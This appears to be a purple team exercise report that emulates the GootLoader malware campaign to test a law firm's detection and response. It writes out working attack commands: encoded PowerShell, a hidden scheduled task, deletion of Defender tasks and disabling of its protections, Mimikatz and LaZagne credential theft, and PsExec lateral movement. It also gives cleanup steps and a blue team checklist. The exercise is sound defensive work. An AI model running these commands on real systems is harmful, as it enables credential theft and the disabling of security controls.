cipher
a Prosegur company

Purple Team Exercise

GootLoader-Inspired Attack on Law Firms

Cipher

04/17/2025

This report has been redacted and minimized to protect sensitive data, individual privacy, and organizational confidentiality. The redacted content does not impact the overall exercise.

Preface

This report explains the process of a collaborative purple team exercise conducted to evaluate and enhance the organization's detection, response, and mitigation capabilities against simulated threat scenarios. By combining offensive tactics with defensive analysis, the exercise aimed to strengthen overall cybersecurity posture, identify gaps, and improve coordination between red and blue teams.

Purpose

This report aims to document the execution and outcomes of a threat emulation exercise simulating the GootLoader malware campaign. GootLoader is a sophisticated, multi-stage downloader that leverages Search Engine Optimization (SEO) poisoning to deliver malicious payloads, posing significant risks to enterprise environments. By emulating GootLoader's tactics, techniques, and procedures (TTPs), the exercise assesses the organization's ability to detect, respond to, and mitigate such threats, thereby enhancing overall cybersecurity resilience.

Threat Actor Summary: GootLoader

GootLoader is a malware delivery framework that emerged around 2020, evolving from the earlier Gootkit banking trojan. It's known for using SEO poisoning to manipulate search engine results to lure victims to compromised, legitimate websites offering fake legal or business documents. When users download and execute these files, typically JavaScript-based, GootLoader initiates a multi-stage infection to deliver various malware payloads like ransomware or remote access trojans. It has been used in targeted attacks against sectors like law and healthcare, leveraging techniques like geofencing and evasive scripting to avoid detection.

Attack Chain with Execution Method

Phase	Description	MITRE ATT&CK ID
Discovery	• Use of Sharphound to collect data from domain controllers and domain joined windows systems • WMIC queries • Advanced IP Scanner	T1087, T1482, T1069, T1018, T1033, T1046, T1518.001, T1057
Defensive Evasion	• Use of base64 encoded commands/scripts • Disabling Windows Defender	T1027, T1562.001
Credential Access	• Mimikatz • LaZagne	T1555, T1003.001
Lateral Movement	• PsExec • WMIExec	T1021.001, T1021.006

Objective

- Emulate Gootloader's infection chain to assess detection and response capabilities.
- Validate endpoint, network, and user behavior analytics against fileless malware activity.
- Identify gaps in visibility related to initial access via SEO poisoning, PowerShell-based execution, and credential access tools.
- Strengthen incident response workflows for multi-stage, stealthy attacks leveraging legitimate tools.

Campaign Execution

This section outlines the step-by-step execution of the GootLoader threat emulation.

- The threat actor first performs some endpoint recon steps, running common command line tools.

```
run whoami


run hostname


run cmd /c echo %userdomain%
```

- The threat actor downloads and executes SharpHound (BloodHound AD discovery) via a PowerShell encoded command.

```
downloader --src
"VFS:/shared/threats/Gootloader/sharphound.ps1" --dest
c:\users\public\sharphound.ps1


run powershell -exec bypass -EncodedCommand
LgAgACAAYwA6AFwAdQBzAGUAcgBzAFwAcAB1AGIAbABpAG
MAXABzAGgAYQByAHAAaABvAHUAbgBkAC4AcABzADEAOwA
gAEkAbgB2AG8AawBlAC0AQgBsAG8AbwBkAEgAbwB1AG4AZA
AgAC0AQwBvAGwAbABlAGMAdABpAG8AbgBNAGUAdABoAG
8AZAAgAEEAbABsAA==
```

- Next, the threat actor enumerates the endpoint protection software used on the target.

```
run powershell WMIC /NODE:localhost
/Namespace:\\root\SecurityCenter2 Path AntiVirusProduct
Get displayName /Format:List
```

- The threat actor then establishes persistence using a scheduled task.

```
upsh --cmd $u=$env:USERNAME; Register-ScheduledTask $u -
In (New-ScheduledTask -Ac (New-ScheduledTaskAction -E
([Diagnostics.Process]::GetCurrentProcess().MainModule.File
Name) -Ar ("-w h -e "+$a)) -Tr (New-ScheduledTaskTrigger -AtL
-U $u));
```

- The threat actor also deletes scheduled tasks used by Defender to prevent it from being reenabled and Microsoft Defender is disabled by the threat actor using unmanaged PowerShell.

```
upsh --cmd schtasks /delete /tn
"\Microsoft\Windows\Windows Defender\Windows Defender
Scheduled Scan" /f | schtasks /delete /tn
"\Microsoft\Windows\Windows Defender\Windows Defender
Cache Maintenance" /f | schtasks /delete /tn
"\Microsoft\Windows\Windows Defender\Windows Defender
Cleanup" /f | schtasks /delete /tn
"\Microsoft\Windows\Windows Defender\Windows Defender
Verification" /f
```

```
upsh --cmd Set-MpPreference -DisableRealtimeMonitoring
$true | Set-MpPreference -DisableArchiveScanning $true |
Set-MpPreference -DisableBehaviorMonitoring $true | Set-
MpPreference -DisableIOAVProtection $true | Set-
MpPreference -DisableIntrusionPreventionSystem $true |
Set-MpPreference -DisableScanningNetworkFiles $true | Set-
MpPreference -MAPSReporting 0 | Set-MpPreference -
DisableCatchupFullScan $True | Set-MpPreference -
DisableCatchupQuickScan $True
```

- PowerShell is used to create named pipes in memory that match names used by the GootLoader malware.

```
run powershell $pipe = New-Object
System.IO.Pipes.NamedPipeServerStream 'msagent_id','Out'
```

```
run powershell $pipe = New-Object
System.IO.Pipes.NamedPipeServerStream '1ea887','Out'
```

- Mimikatz (a credential harvesting tool) is then deployed and executed via PowerShell.

```
run powershell
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes
('. c:\users\public\mi.ps1; Invoke-Mimikatz -ComputerName
$(4).response["result"].strip("\r\n")'))
```

```
run powershell -nop -noni -exec bypass -EncodedCommand
$(27).response["result"].strip("\r\n")
```

- Lazange (another credential harvesting tool) is also used for targeting credentials.

```
downloader --src
"VFS:/shared/threats/Gootloader/lazagne.exe" --dest
c:\users\public\ls.exe
```

```
run cmd /c "cd C:\Users\Public && start ls.exe all -oN -output
C:\Users\Public"
```

- PSExec is used to simulate enabling lateral movement using WMI on a remote target.

```
downloader --src
"VFS:/shared/threats/Gootloader/PsExec.exe" --dest
C:\Users\Public\psexec.exe
```

```
upsh --cmd cd C:\Users\Public; .\psexec.exe -accepteula
\\'$(4).response["result"].strip("\r\n")' -u
'$(3).response["result"].strip("\r\n")' -p '$(7).response' reg add
"HKLM\System\CurrentControlSet\Control\lsa" /f /v
DisableRestrictedAdmin /t REG_DWORD /d 0
```

- The threat actor then downloads Advanced IP Scanner using BITS and installs it for use.

```
run powershell Start-BitsTransfer -Source
https://download.advanced-ip-
scanner.com/download/files/Advanced_IP_Scanner_2.5.4594.
1.exe -Destination
C:\Users\Public\Advanced_IP_Scanner_2.5.4594.1.exe
```

```
run cmd /c "cd C:\Users\Public &&
.\Advanced_IP_Scanner_2.5.4594.1.exe /VERYSILENT
/NORESTART"
```

- Next, cleanup begins. These steps remove tools and reset configuration settings to sane defaults.

```
run cmd /c "taskkill /F /IM advanced_ip_scanner.exe"

run cmd /c "del
C:\Users\Public\Advanced_IP_Scanner_2.5.4594.1.exe

run cmd /c "wmic product where name="Advanced IP
Scanner 2.5.1" call uninstall /nointeractive"

run cmd /c "del C:\Users\Public\ls.exe"

run cmd /c "del C:\Users\Public\mi.ps1"

run cmd /c "del C:\Users\Public\sharphound.ps1"

run cmd /c "del C:\Users\Public\psexec.exe"
```

- Cleanup continues by re-enabling Windows Defender and updating the LSA value in the registry.

```
run cmd /c reg delete
HKLM\System\CurrentControlSet\Control\lsa /v
DisableRestrictedAdmin /f

upsh --cmd Set-MpPreference -DisableRealtimeMonitoring
$False | Set-MpPreference -DisableArchiveScanning $False |
Set-MpPreference -DisableBehaviorMonitoring $False | Set-
MpPreference -DisableIOAVProtection $False | Set-
MpPreference -DisableIntrusionPreventionSystem $False |
Set-MpPreference -DisableScanningNetworkFiles $False |
Set-MpPreference -MAPSReporting 1 | Set-MpPreference -
DisableCatchupFullScan $False | Set-MpPreference -
DisableCatchupQuickScan $False
```

Blue Team Validation Checklist

This checklist helps the Blue Team assess their detection and response effectiveness by verifying that security measures were properly implemented and functioning.

- Detection of access to compromised websites hosting malicious JavaScript payloads.
- Alerts generated from execution of obfuscated or encoded PowerShell commands.
- Logging of suspicious scheduled tasks and persistence mechanisms.
- Detection of credential access via Mimikatz and LaZagne.
- Monitoring for named pipe creation linked to malware behavior.
- Alerting on defender tampering (e.g., disabling Windows Defender, deleting Defender-related tasks).
- Identification of lateral movement attempts using PsExec or WMI.
- Network traffic visibility for anomalous HTTP/HTTPS communications (C2 emulation).
- Verification of endpoint logging for tool execution (SharpHound, Advanced IP Scanner).

Success Criteria

This criteria outlines the specific goals and measurable outcomes used to evaluate the effectiveness of the engagement.

- Blue team successfully detects and responds to each major stage of the emulated GootLoader attack chain.
- Alerting and telemetry capture key behaviors including initial access, command execution, persistence, and credential access.
- Security tools and analysts identify obfuscated PowerShell and defender tampering attempts.
- Incident response actions are initiated based on detection, including investigation and containment.
- Lessons learned are documented and lead to improved detection logic or visibility enhancements.

Next Steps

This GootLoader emulation exercise provided valuable insights into the organization's detection and response capabilities against a real-world, multi-stage threat. Both red and blue teams were able to identify strengths and uncover detection gaps.

Moving forward, the organization should focus on improving detection rules for obfuscated PowerShell commands and persistence mechanisms, strengthening endpoint telemetry, and enhancing alerting around credential access behaviors. Updates to incident response playbooks should reflect these findings, and follow-up exercises should be scheduled to validate improvements and reinforce team readiness.

This exercise not only tested technical defenses but also promoted cross-team collaboration, an essential component in a mature security posture. Continued purple team engagements will ensure that lessons learned from this campaign translate into tangible improvements across people, processes, and technologies.